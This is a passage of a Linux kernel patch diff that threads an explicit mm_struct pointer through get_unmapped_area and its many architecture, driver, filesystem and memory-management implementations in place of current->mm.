 	 * A failed mmap() very likely causes application failure,
@@ -115,18 +117,18 @@ static unsigned long hugetlb_get_unmapped_area_topdown(struct file *file,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
 }
 
 unsigned long
-hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct hstate *h = hstate_file(file);
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 
 	if (len & ~huge_page_mask(h))
@@ -148,10 +150,10 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 			return addr;
 	}
 	if (mm->get_unmapped_area == arch_get_unmapped_area)
-		return hugetlb_get_unmapped_area_bottomup(file, addr, len,
+		return hugetlb_get_unmapped_area_bottomup(mm, file, addr, len,
 				pgoff, flags);
 	else
-		return hugetlb_get_unmapped_area_topdown(file, addr, len,
+		return hugetlb_get_unmapped_area_topdown(mm, file, addr, len,
 				pgoff, flags);
 }
 #endif /* CONFIG_HUGETLB_PAGE */
diff --git a/arch/xtensa/kernel/syscall.c b/arch/xtensa/kernel/syscall.c
index d3fd100dffc9..4a17828917df 100644
--- a/arch/xtensa/kernel/syscall.c
+++ b/arch/xtensa/kernel/syscall.c
@@ -58,8 +58,9 @@ asmlinkage long xtensa_fadvise64_64(int fd, int advice,
 }
 
 #ifdef CONFIG_MMU
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct vm_area_struct *vmm;
 
@@ -83,7 +84,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	else
 		addr = PAGE_ALIGN(addr);
 
-	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
+	for (vmm = find_vma(mm, addr); ; vmm = vmm->vm_next) {
 		/* At this point:  (!vmm || addr < vmm->vm_end). */
 		if (TASK_SIZE - len < addr)
 			return -ENOMEM;
diff --git a/drivers/char/mem.c b/drivers/char/mem.c
index 6d9cc2d39d22..4b6ac3f373df 100644
--- a/drivers/char/mem.c
+++ b/drivers/char/mem.c
@@ -273,7 +273,8 @@ static pgprot_t phys_mem_access_prot(struct file *file, unsigned long pfn,
 #endif
 
 #ifndef CONFIG_MMU
-static unsigned long get_unmapped_area_mem(struct file *file,
+static unsigned long get_unmapped_area_mem(struct mm_struct *mm,
+					   struct file *file,
 					   unsigned long addr,
 					   unsigned long len,
 					   unsigned long pgoff,
@@ -662,9 +663,10 @@ static int mmap_zero(struct file *file, struct vm_area_struct *vma)
 	return 0;
 }
 
-static unsigned long get_unmapped_area_zero(struct file *file,
-				unsigned long addr, unsigned long len,
-				unsigned long pgoff, unsigned long flags)
+static unsigned long get_unmapped_area_zero(struct mm_struct *mm,
+				struct file *file, unsigned long addr,
+				unsigned long len, unsigned long pgoff,
+				unsigned long flags)
 {
 #ifdef CONFIG_MMU
 	if (flags & MAP_SHARED) {
@@ -674,11 +676,12 @@ static unsigned long get_unmapped_area_zero(struct file *file,
 		 * and pass NULL for file as in mmap.c's get_unmapped_area(),
 		 * so as not to confuse shmem with our handle on "/dev/zero".
 		 */
-		return shmem_get_unmapped_area(NULL, addr, len, pgoff, flags);
+		return shmem_get_unmapped_area(mm, NULL, addr, len, pgoff,
+					       flags);
 	}
 
 	/* Otherwise flags & MAP_PRIVATE: with no shmem object beneath it */
-	return current->mm->get_unmapped_area(file, addr, len, pgoff, flags);
+	return mm->get_unmapped_area(mm, file, addr, len, pgoff, flags);
 #else
 	return -ENOSYS;
 #endif
diff --git a/drivers/dax/dax.c b/drivers/dax/dax.c
index ed758b74ddf0..ab60b8c05b7f 100644
--- a/drivers/dax/dax.c
+++ b/drivers/dax/dax.c
@@ -552,9 +552,9 @@ static int dax_mmap(struct file *filp, struct vm_area_struct *vma)
 }
 
 /* return an unmapped area aligned to the dax region specified alignment */
-static unsigned long dax_get_unmapped_area(struct file *filp,
-		unsigned long addr, unsigned long len, unsigned long pgoff,
-		unsigned long flags)
+static unsigned long dax_get_unmapped_area(struct mm_struct *mm,
+		struct file *filp, unsigned long addr, unsigned long len,
+		unsigned long pgoff, unsigned long flags)
 {
 	unsigned long off, off_end, off_align, len_align, addr_align, align;
 	struct dax_dev *dax_dev = filp ? filp->private_data : NULL;
@@ -576,14 +576,14 @@ static unsigned long dax_get_unmapped_area(struct file *filp,
 	if ((off + len_align) < off)
 		goto out;
 
-	addr_align = current->mm->get_unmapped_area(filp, addr, len_align,
+	addr_align = mm->get_unmapped_area(mm, filp, addr, len_align,
 			pgoff, flags);
 	if (!IS_ERR_VALUE(addr_align)) {
 		addr_align += (off - addr_align) & (align - 1);
 		return addr_align;
 	}
  out:
-	return current->mm->get_unmapped_area(filp, addr, len, pgoff, flags);
+	return mm->get_unmapped_area(mm, filp, addr, len, pgoff, flags);
 }
 
 static int dax_open(struct inode *inode, struct file *filp)
diff --git a/drivers/media/usb/uvc/uvc_v4l2.c b/drivers/media/usb/uvc/uvc_v4l2.c
index 3e7e283a44a8..2224c5ebb459 100644
--- a/drivers/media/usb/uvc/uvc_v4l2.c
+++ b/drivers/media/usb/uvc/uvc_v4l2.c
@@ -1434,9 +1434,9 @@ static unsigned int uvc_v4l2_poll(struct file *file, poll_table *wait)
 }
 
 #ifndef CONFIG_MMU
-static unsigned long uvc_v4l2_get_unmapped_area(struct file *file,
-		unsigned long addr, unsigned long len, unsigned long pgoff,
-		unsigned long flags)
+static unsigned long uvc_v4l2_get_unmapped_area(struct mm_struct *mm,
+		struct file *file, unsigned long addr, unsigned long len,
+		unsigned long pgoff, unsigned long flags)
 {
 	struct uvc_fh *handle = file->private_data;
 	struct uvc_streaming *stream = handle->stream;
diff --git a/drivers/media/v4l2-core/v4l2-dev.c b/drivers/media/v4l2-core/v4l2-dev.c
index fa2124cb31bd..f227ebc369f7 100644
--- a/drivers/media/v4l2-core/v4l2-dev.c
+++ b/drivers/media/v4l2-core/v4l2-dev.c
@@ -369,9 +369,9 @@ static long v4l2_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
 #ifdef CONFIG_MMU
 #define v4l2_get_unmapped_area NULL
 #else
-static unsigned long v4l2_get_unmapped_area(struct file *filp,
-		unsigned long addr, unsigned long len, unsigned long pgoff,
-		unsigned long flags)
+static unsigned long v4l2_get_unmapped_area(struct mm_struct *mm,
+		struct file *filp, unsigned long addr, unsigned long len,
+		unsigned long pgoff, unsigned long flags)
 {
 	struct video_device *vdev = video_devdata(filp);
 	int ret;
@@ -380,7 +380,7 @@ static unsigned long v4l2_get_unmapped_area(struct file *filp,
 		return -ENOSYS;
 	if (!video_is_registered(vdev))
 		return -ENODEV;
-	ret = vdev->fops->get_unmapped_area(filp, addr, len, pgoff, flags);
+	ret = vdev->fops->get_unmapped_area(mm, filp, addr, len, pgoff, flags);
 	if (vdev->dev_debug & V4L2_DEV_DEBUG_FOP)
 		printk(KERN_DEBUG "%s: get_unmapped_area (%d)\n",
 			video_device_node_name(vdev), ret);
diff --git a/drivers/media/v4l2-core/videobuf2-v4l2.c b/drivers/media/v4l2-core/videobuf2-v4l2.c
index 3529849d2218..953417fb4914 100644
--- a/drivers/media/v4l2-core/videobuf2-v4l2.c
+++ b/drivers/media/v4l2-core/videobuf2-v4l2.c
@@ -932,8 +932,9 @@ unsigned int vb2_fop_poll(struct file *file, poll_table *wait)
 EXPORT_SYMBOL_GPL(vb2_fop_poll);
 
 #ifndef CONFIG_MMU
-unsigned long vb2_fop_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long vb2_fop_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct video_device *vdev = video_devdata(file);
 
diff --git a/drivers/mtd/mtdchar.c b/drivers/mtd/mtdchar.c
index ce5ccc573a9c..8774808c69e5 100644
--- a/drivers/mtd/mtdchar.c
+++ b/drivers/mtd/mtdchar.c
@@ -1156,7 +1156,8 @@ static long mtdchar_compat_ioctl(struct file *file, unsigned int cmd,
  *   mappings)
  */
 #ifndef CONFIG_MMU
-static unsigned long mtdchar_get_unmapped_area(struct file *file,
+static unsigned long mtdchar_get_unmapped_area(struct mm_struct *mm,
+					   struct file *file,
 					   unsigned long addr,
 					   unsigned long len,
 					   unsigned long pgoff,
diff --git a/drivers/usb/gadget/function/uvc_v4l2.c b/drivers/usb/gadget/function/uvc_v4l2.c
index 3e22b45687d3..96ad4de14dc7 100644
--- a/drivers/usb/gadget/function/uvc_v4l2.c
+++ b/drivers/usb/gadget/function/uvc_v4l2.c
@@ -343,7 +343,8 @@ uvc_v4l2_poll(struct file *file, poll_table *wait)
 }
 
 #ifndef CONFIG_MMU
-static unsigned long uvcg_v4l2_get_unmapped_area(struct file *file,
+static unsigned long uvcg_v4l2_get_unmapped_area(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr, unsigned long len, unsigned long pgoff,
 		unsigned long flags)
 {
diff --git a/fs/hugetlbfs/inode.c b/fs/hugetlbfs/inode.c
index 54de77e78775..69037eb6a728 100644
--- a/fs/hugetlbfs/inode.c
+++ b/fs/hugetlbfs/inode.c
@@ -168,10 +168,10 @@ static int hugetlbfs_file_mmap(struct file *file, struct vm_area_struct *vma)
 
 #ifndef HAVE_ARCH_HUGETLB_UNMAPPED_AREA
 static unsigned long
-hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct hstate *h = hstate_file(file);
 	struct vm_unmapped_area_info info;
@@ -201,7 +201,7 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	info.high_limit = TASK_SIZE;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 #endif
 
diff --git a/fs/proc/inode.c b/fs/proc/inode.c
index 842a5ff5b85c..cb2d5702bdce 100644
--- a/fs/proc/inode.c
+++ b/fs/proc/inode.c
@@ -291,9 +291,9 @@ static int proc_reg_mmap(struct file *file, struct vm_area_struct *vma)
 }
 
 static unsigned long
-proc_reg_get_unmapped_area(struct file *file, unsigned long orig_addr,
-			   unsigned long len, unsigned long pgoff,
-			   unsigned long flags)
+proc_reg_get_unmapped_area(struct mm_struct *mm, struct file *file,
+			   unsigned long orig_addr, unsigned long len,
+			   unsigned long pgoff, unsigned long flags)
 {
 	struct proc_dir_entry *pde = PDE(file_inode(file));
 	unsigned long rv = -EIO;
@@ -304,11 +304,11 @@ proc_reg_get_unmapped_area(struct file *file, unsigned long orig_addr,
 		get_area = pde->proc_fops->get_unmapped_area;
 #ifdef CONFIG_MMU
 		if (!get_area)
-			get_area = current->mm->get_unmapped_area;
+			get_area = mm->get_unmapped_area;
 #endif
 
 		if (get_area)
-			rv = get_area(file, orig_addr, len, pgoff, flags);
+			rv = get_area(mm, file, orig_addr, len, pgoff, flags);
 		else
 			rv = orig_addr;
 		unuse_pde(pde);
diff --git a/fs/ramfs/file-mmu.c b/fs/ramfs/file-mmu.c
index 12af0490322f..a4584130234a 100644
--- a/fs/ramfs/file-mmu.c
+++ b/fs/ramfs/file-mmu.c
@@ -31,11 +31,12 @@
 
 #include "internal.h"
 
-static unsigned long ramfs_mmu_get_unmapped_area(struct file *file,
+static unsigned long ramfs_mmu_get_unmapped_area(struct mm_struct *mm,
+		struct file *file,
 		unsigned long addr, unsigned long len, unsigned long pgoff,
 		unsigned long flags)
 {
-	return current->mm->get_unmapped_area(file, addr, len, pgoff, flags);
+	return mm->get_unmapped_area(mm, file, addr, len, pgoff, flags);
 }
 
 const struct file_operations ramfs_file_operations = {
diff --git a/fs/ramfs/file-nommu.c b/fs/ramfs/file-nommu.c
index 2ef7ce75c062..564ba84d61b6 100644
--- a/fs/ramfs/file-nommu.c
+++ b/fs/ramfs/file-nommu.c
@@ -27,7 +27,8 @@
 #include "internal.h"
 
 static int ramfs_nommu_setattr(struct dentry *, struct iattr *);
-static unsigned long ramfs_nommu_get_unmapped_area(struct file *file,
+static unsigned long ramfs_nommu_get_unmapped_area(struct mm_struct *mm,
+						   struct file *file,
 						   unsigned long addr,
 						   unsigned long len,
 						   unsigned long pgoff,
@@ -202,9 +203,10 @@ static int ramfs_nommu_setattr(struct dentry *dentry, struct iattr *ia)
  *   - the pages to be mapped must exist
  *   - the pages be physically contiguous in sequence
  */
-static unsigned long ramfs_nommu_get_unmapped_area(struct file *file,
-					    unsigned long addr, unsigned long len,
-					    unsigned long pgoff, unsigned long flags)
+static unsigned long ramfs_nommu_get_unmapped_area(struct mm_struct *mm,
+					struct file *file, unsigned long addr,
+					unsigned long len, unsigned long pgoff,
+					unsigned long flags)
 {
 	unsigned long maxpages, lpages, nr, loop, ret;
 	struct inode *inode = file_inode(file);
diff --git a/fs/romfs/mmap-nommu.c b/fs/romfs/mmap-nommu.c
index 1118a0dc6b45..0bfebcafb077 100644
--- a/fs/romfs/mmap-nommu.c
+++ b/fs/romfs/mmap-nommu.c
@@ -19,7 +19,8 @@
  *   mappings)
  * - attempts to map through to the underlying MTD device
  */
-static unsigned long romfs_get_unmapped_area(struct file *file,
+static unsigned long romfs_get_unmapped_area(struct mm_struct *mm,
+					     struct file *file,
 					     unsigned long addr,
 					     unsigned long len,
 					     unsigned long pgoff,
diff --git a/include/linux/fs.h b/include/linux/fs.h
index 2ba074328894..45f8cf874ea1 100644
--- a/include/linux/fs.h
+++ b/include/linux/fs.h
@@ -1662,7 +1662,7 @@ struct file_operations {
 	int (*fasync) (int, struct file *, int);
 	int (*lock) (struct file *, int, struct file_lock *);
 	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
-	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
+	unsigned long (*get_unmapped_area)(struct mm_struct *, struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
 	int (*check_flags)(int);
 	int (*flock) (struct file *, int, struct file_lock *);
 	ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
diff --git a/include/linux/huge_mm.h b/include/linux/huge_mm.h
index 97e478d6b690..94a0e680b7d7 100644
--- a/include/linux/huge_mm.h
+++ b/include/linux/huge_mm.h
@@ -87,9 +87,9 @@ extern bool is_vma_temporary_stack(struct vm_area_struct *vma);
 
 extern unsigned long transparent_hugepage_flags;
 
-extern unsigned long thp_get_unmapped_area(struct file *filp,
-		unsigned long addr, unsigned long len, unsigned long pgoff,
-		unsigned long flags);
+extern unsigned long thp_get_unmapped_area(struct mm_struct *mm,
+		struct file *filp, unsigned long addr, unsigned long len,
+		unsigned long pgoff, unsigned long flags);
 
 extern void prep_transhuge_page(struct page *page);
 extern void free_transhuge_page(struct page *page);
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 48c76d612d40..72260cc252f2 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -287,8 +287,9 @@ hugetlb_file_setup(const char *name, size_t size, vm_flags_t acctflag,
 #endif /* !CONFIG_HUGETLBFS */
 
 #ifdef HAVE_ARCH_HUGETLB_UNMAPPED_AREA
-unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-					unsigned long len, unsigned long pgoff,
+unsigned long hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+					unsigned long addr, unsigned long len,
+					unsigned long pgoff,
 					unsigned long flags);
 #endif /* HAVE_ARCH_HUGETLB_UNMAPPED_AREA */
 
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 71a90604d21f..1520da8f9c67 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2014,7 +2014,9 @@ extern int install_special_mapping(struct mm_struct *mm,
 				   unsigned long addr, unsigned long len,
 				   unsigned long flags, struct page **pages);
 
-extern unsigned long get_unmapped_area(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
+extern unsigned long get_unmapped_area(struct mm_struct *, struct file *,
+				       unsigned long, unsigned long,
+				       unsigned long, unsigned long);
 
 extern unsigned long mmap_region(struct mm_struct *mm, struct file *file,
 				 unsigned long addr, unsigned long len,
@@ -2066,8 +2068,10 @@ struct vm_unmapped_area_info {
 	unsigned long align_offset;
 };
 
-extern unsigned long unmapped_area(struct vm_unmapped_area_info *info);
-extern unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info);
+extern unsigned long unmapped_area(struct mm_struct *mm,
+				   struct vm_unmapped_area_info *info);
+extern unsigned long unmapped_area_topdown(struct mm_struct *mm,
+					   struct vm_unmapped_area_info *info);
 
 /*
  * Search for an unmapped address range.
@@ -2079,12 +2083,12 @@ extern unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info);
  * - satisfies (begin_addr & align_mask) == (align_offset & align_mask)
  */
 static inline unsigned long
-vm_unmapped_area(struct vm_unmapped_area_info *info)
+vm_unmapped_area(struct mm_struct *mm, struct vm_unmapped_area_info *info)
 {
 	if (info->flags & VM_UNMAPPED_AREA_TOPDOWN)
-		return unmapped_area_topdown(info);
+		return unmapped_area_topdown(mm, info);
 	else
-		return unmapped_area(info);
+		return unmapped_area(mm, info);
 }
 
 /* truncate.c */
diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index 808751d7b737..6aa03e88dcff 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -398,9 +398,10 @@ struct mm_struct {
 	struct rb_root mm_rb;
 	u32 vmacache_seqnum;                   /* per-thread vmacache */
 #ifdef CONFIG_MMU
-	unsigned long (*get_unmapped_area) (struct file *filp,
-				unsigned long addr, unsigned long len,
-				unsigned long pgoff, unsigned long flags);
+	unsigned long (*get_unmapped_area) (struct mm_struct *mm,
+				struct file *filp, unsigned long addr,
+				unsigned long len, unsigned long pgoff,
+				unsigned long flags);
 #endif
 	unsigned long mmap_base;		/* base of mmap area */
 	unsigned long mmap_legacy_base;         /* base of mmap area in bottom-up allocations */
diff --git a/include/linux/sched.h b/include/linux/sched.h
index ad3ec9ec61f7..42b9b93a50ac 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -476,12 +476,12 @@ struct user_namespace;
 #ifdef CONFIG_MMU
 extern void arch_pick_mmap_layout(struct mm_struct *mm);
 extern unsigned long
-arch_get_unmapped_area(struct file *, unsigned long, unsigned long,
-		       unsigned long, unsigned long);
+arch_get_unmapped_area(struct mm_struct *mm, struct file *, unsigned long,
+		       unsigned long, unsigned long, unsigned long);
 extern unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
-			  unsigned long len, unsigned long pgoff,
-			  unsigned long flags);
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			       unsigned long addr, unsigned long len,
+			       unsigned long pgoff, unsigned long flags);
 #else
 static inline void arch_pick_mmap_layout(struct mm_struct *mm) {}
 #endif
diff --git a/include/linux/shmem_fs.h b/include/linux/shmem_fs.h
index ff078e7043b6..37d27369bb42 100644
--- a/include/linux/shmem_fs.h
+++ b/include/linux/shmem_fs.h
@@ -54,8 +54,9 @@ extern struct file *shmem_file_setup(const char *name,
 extern struct file *shmem_kernel_file_setup(const char *name, loff_t size,
 					    unsigned long flags);
 extern int shmem_zero_setup(struct vm_area_struct *);
-extern unsigned long shmem_get_unmapped_area(struct file *, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags);
+extern unsigned long shmem_get_unmapped_area(struct mm_struct *, struct file *,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags);
 extern int shmem_lock(struct file *file, int lock, struct user_struct *user);
 extern bool shmem_mapping(struct address_space *mapping);
 extern void shmem_unlock_mapping(struct address_space *mapping);
diff --git a/include/media/v4l2-dev.h b/include/media/v4l2-dev.h
index e657614521e3..d7287a53f590 100644
--- a/include/media/v4l2-dev.h
+++ b/include/media/v4l2-dev.h
@@ -156,7 +156,8 @@ struct v4l2_file_operations {
 #ifdef CONFIG_COMPAT
 	long (*compat_ioctl32) (struct file *, unsigned int, unsigned long);
 #endif
-	unsigned long (*get_unmapped_area) (struct file *, unsigned long,
+	unsigned long (*get_unmapped_area) (struct mm_struct *mm,
+				struct file *filep, unsigned long,
 				unsigned long, unsigned long, unsigned long);
 	int (*mmap) (struct file *, struct vm_area_struct *);
 	int (*open) (struct file *);
diff --git a/include/media/videobuf2-v4l2.h b/include/media/videobuf2-v4l2.h
index 036127c54bbf..43f4d0a3b333 100644
--- a/include/media/videobuf2-v4l2.h
+++ b/include/media/videobuf2-v4l2.h
@@ -264,8 +264,9 @@ ssize_t vb2_fop_read(struct file *file, char __user *buf,
 		size_t count, loff_t *ppos);
 unsigned int vb2_fop_poll(struct file *file, poll_table *wait);
 #ifndef CONFIG_MMU
-unsigned long vb2_fop_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags);
+unsigned long vb2_fop_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags);
 #endif
 
 /**
diff --git a/ipc/shm.c b/ipc/shm.c
index 64c21fb32ca9..2fd73cda4ec8 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -465,14 +465,14 @@ static long shm_fallocate(struct file *file, int mode, loff_t offset,
 	return sfd->file->f_op->fallocate(file, mode, offset, len);
 }
 
-static unsigned long shm_get_unmapped_area(struct file *file,
-	unsigned long addr, unsigned long len, unsigned long pgoff,
-	unsigned long flags)
+static unsigned long shm_get_unmapped_area(struct mm_struct *mm,
+	struct file *file, unsigned long addr, unsigned long len,
+	unsigned long pgoff, unsigned long flags)
 {
 	struct shm_file_data *sfd = shm_file_data(file);
 
-	return sfd->file->f_op->get_unmapped_area(sfd->file, addr, len,
-						pgoff, flags);
+	return sfd->file->f_op->get_unmapped_area(mm, sfd->file, addr, len,
+						  pgoff, flags);
 }
 
 static const struct file_operations shm_file_operations = {
diff --git a/kernel/events/uprobes.c b/kernel/events/uprobes.c
index d416f3baf392..ed95aae0f386 100644
--- a/kernel/events/uprobes.c
+++ b/kernel/events/uprobes.c
@@ -1142,7 +1142,7 @@ static int xol_add_vma(struct mm_struct *mm, struct xol_area *area)
 
 	if (!area->vaddr) {
 		/* Try to map as high as possible, this is only a hint. */
-		area->vaddr = get_unmapped_area(NULL, TASK_SIZE - PAGE_SIZE,
+		area->vaddr = get_unmapped_area(mm, NULL, TASK_SIZE - PAGE_SIZE,
 						PAGE_SIZE, 0, 0);
 		if (area->vaddr & ~PAGE_MASK) {
 			ret = area->vaddr;
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 5f3ad65c85de..d5b2604867e5 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -499,8 +499,9 @@ void prep_transhuge_page(struct page *page)
 	set_compound_page_dtor(page, TRANSHUGE_PAGE_DTOR);
 }
 
-unsigned long __thp_get_unmapped_area(struct file *filp, unsigned long len,
-		loff_t off, unsigned long flags, unsigned long size)
+unsigned long __thp_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long len, loff_t off, unsigned long flags,
+		unsigned long size)
 {
 	unsigned long addr;
 	loff_t off_end = off + len;
@@ -514,8 +515,8 @@ unsigned long __thp_get_unmapped_area(struct file *filp, unsigned long len,
 	if (len_pad < len || (off + len_pad) < off)
 		return 0;
 
-	addr = current->mm->get_unmapped_area(filp, 0, len_pad,
-					      off >> PAGE_SHIFT, flags);
+	addr = mm->get_unmapped_area(mm, filp, 0, len_pad, off >> PAGE_SHIFT,
+				     flags);
 	if (IS_ERR_VALUE(addr))
 		return 0;
 
@@ -523,8 +524,9 @@ unsigned long __thp_get_unmapped_area(struct file *filp, unsigned long len,
 	return addr;
 }
 
-unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long thp_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	loff_t off = (loff_t)pgoff << PAGE_SHIFT;
 
@@ -533,12 +535,12 @@ unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
 	if (!IS_DAX(filp->f_mapping->host) || !IS_ENABLED(CONFIG_FS_DAX_PMD))
 		goto out;
 
-	addr = __thp_get_unmapped_area(filp, len, off, flags, PMD_SIZE);
+	addr = __thp_get_unmapped_area(mm, filp, len, off, flags, PMD_SIZE);
 	if (addr)
 		return addr;
 
  out:
-	return current->mm->get_unmapped_area(filp, addr, len, pgoff, flags);
+	return mm->get_unmapped_area(mm, filp, addr, len, pgoff, flags);
 }
 EXPORT_SYMBOL_GPL(thp_get_unmapped_area);
 
diff --git a/mm/mmap.c b/mm/mmap.c
index ea79bc4da5b7..8a73dc458e69 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1339,7 +1339,7 @@ unsigned long do_mmap(struct mm_struct *mm, struct file *file,
 	/* Obtain the address to map to. we verify (or select) it and ensure
 	 * that it represents a valid section of the address space.
 	 */
-	addr = get_unmapped_area(file, addr, len, pgoff, flags);
+	addr = get_unmapped_area(mm, file, addr, len, pgoff, flags);
 	if (offset_in_page(addr))
 		return addr;
 
@@ -1742,7 +1742,8 @@ unsigned long mmap_region(struct mm_struct *mm, struct file *file,
 	return error;
 }
 
-unsigned long unmapped_area(struct vm_unmapped_area_info *info)
+unsigned long unmapped_area(struct mm_struct *mm,
+			    struct vm_unmapped_area_info *info)
 {
 	/*
 	 * We implement the search by looking for an rbtree node that
@@ -1752,7 +1753,6 @@ unsigned long unmapped_area(struct vm_unmapped_area_info *info)
 	 * - gap_end - gap_start >= length
 	 */
 
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long length, low_limit, high_limit, gap_start, gap_end;
 
@@ -1844,9 +1844,9 @@ unsigned long unmapped_area(struct vm_unmapped_area_info *info)
 	return gap_start;
 }
 
-unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
+unsigned long unmapped_area_topdown(struct mm_struct *mm,
+				    struct vm_unmapped_area_info *info)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long length, low_limit, high_limit, gap_start, gap_end;
 
@@ -1955,10 +1955,10 @@ unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
  */
 #ifndef HAVE_ARCH_UNMAPPED_AREA
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct vm_unmapped_area_info info;
 
@@ -1981,7 +1981,7 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.low_limit = mm->mmap_base;
 	info.high_limit = TASK_SIZE;
 	info.align_mask = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 #endif
 
@@ -1991,12 +1991,11 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
  */
 #ifndef HAVE_ARCH_UNMAPPED_AREA_TOPDOWN
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	struct vm_unmapped_area_info info;
 
@@ -2021,7 +2020,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.low_limit = max(PAGE_SIZE, mmap_min_addr);
 	info.high_limit = mm->mmap_base;
 	info.align_mask = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -2034,7 +2033,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = TASK_UNMAPPED_BASE;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
@@ -2042,11 +2041,12 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 #endif
 
 unsigned long
-get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
-		unsigned long pgoff, unsigned long flags)
+get_unmapped_area(struct mm_struct *mm, struct file *file, unsigned long addr,
+		  unsigned long len, unsigned long pgoff, unsigned long flags)
 {
-	unsigned long (*get_area)(struct file *, unsigned long,
-				  unsigned long, unsigned long, unsigned long);
+	unsigned long (*get_area)(struct mm_struct *, struct file *,
+				  unsigned long, unsigned long, unsigned long,
+				  unsigned long);
 
